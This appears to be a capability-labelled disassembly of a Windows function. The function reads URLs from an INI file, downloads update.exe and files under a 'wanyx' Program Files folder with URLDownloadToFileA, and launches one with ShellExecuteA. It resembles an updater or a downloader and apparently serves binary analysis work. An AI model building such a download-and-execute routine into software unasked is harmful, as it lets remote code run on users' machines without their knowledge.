Function at 0x401d40
Capabilities:
Create directory
Create process on windows
Download url
Get common file path
Read .ini file
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x42a258
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [0x437820]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], eax
mov dword [esp + 0x40], 0
mov dword [esp + 0x10], eax
push pe_nt_image_headers32
push pe_nt_image_headers32
lea ecx, [esp + 0x18]
mov byte [esp + 0x48], 1
call fcn.0041ef01
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0xffffffffffffffff
lea ecx, [esp + 0x14]
call fcn.0041ef50
push 0x437190
lea ecx, [esp + 0x14]
call fcn.0041c4e5
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x18]
call fcn.0041c44b
push eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x44], 2
call fcn.0041ec31
lea ecx, [esp + 0x18]
mov byte [esp + 0x40], 1
call fcn.0041eaf8
mov esi, dword [esp + 0x48]
mov ebp, dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push 0x437204
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
test eax, eax
je 0x401e99
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041ef01
push eax
push 0x43b874
push 0x437200
push 0x437204
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041ef50
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041ed8d
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041eaf8
test edi, edi
jl 0x401e99
lea ecx, [esp + 0x10]
push str.update.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041ed8d
mov eax, dword [eax]
push 1
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea ecx, [esp + 0x48]
call fcn.0041eaf8
mov eax, dword [esi + 0x60]
push eax
push 0
push str.down
push str.main
call ebp
test eax, eax
je 0x401fce
mov eax, dword [esi + 0x60]
lea ecx, [esp + 0x14]
push eax
push pe_nt_image_headers32
push pe_nt_image_headers32
call fcn.0041ef01
push eax
push 0x43b874
push 0x437200
push str.main
call ebx
push 0xffffffffffffffff
lea ecx, [esp + 0x18]
call fcn.0041ef50
lea ecx, [esp + 0x1c]
call fcn.00405de5
lea eax, [esp + 0x10]
push str.Program_Fileswanyx
lea ecx, [esp + 0x4c]
push eax
push ecx
mov byte [esp + 0x4c], 3
call fcn.0041ed8d
mov eax, dword [eax]
push 0
push eax
lea ecx, [esp + 0x24]
mov byte [esp + 0x48], 4
call fcn.00405ea8
test eax, eax
lea ecx, [esp + 0x48]
mov byte [esp + 0x40], 3
sete bl
call fcn.0041eaf8
test bl, bl
je 0x401f5b
lea edx, [esp + 0x10]
push str.Program_Fileswanyx
lea eax, [esp + 0x4c]
push edx
push eax
call fcn.0041ed8d
mov eax, dword [eax]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [esp + 0x48]
call fcn.0041eaf8
lea ecx, [esp + 0x10]
push str.Program_Fileswanyxwanyxupdate.exe
lea edx, [esp + 0x4c]
push ecx
push edx
call fcn.0041ed8d
mov eax, dword [eax]
push 0
push 0
push eax
mov eax, dword [esp + 0x20]
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
lea ecx, [esp + 0x48]
mov edi, eax
call fcn.0041eaf8
test edi, edi
jl 0x401fc0
mov esi, dword [esi + 0x6c]
test esi, esi
je 0x401fa1
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea edx, [esp + 0x14]
mov ecx, esp
mov dword [esp + 0x1c], esp
push str.Program_Fileswanyx_
push edx
push ecx
call fcn.0041ed8d
call fcn.00401930
add esp, 4
lea ecx, [esp + 0x1c]
mov byte [esp + 0x40], 1
call fcn.00405e22
lea ecx, [esp + 0x10]
mov byte [esp + 0x40], 0
call fcn.0041eaf8
lea ecx, [esp + 0x14]
mov dword [esp + 0x40], 0xffffffff
call fcn.0041eaf8
mov ecx, dword [esp + 0x38]
pop edi
pop esi
pop ebp
xor eax, eax
mov dword fs:[0], ecx
pop ebx
add esp, 0x34
ret 4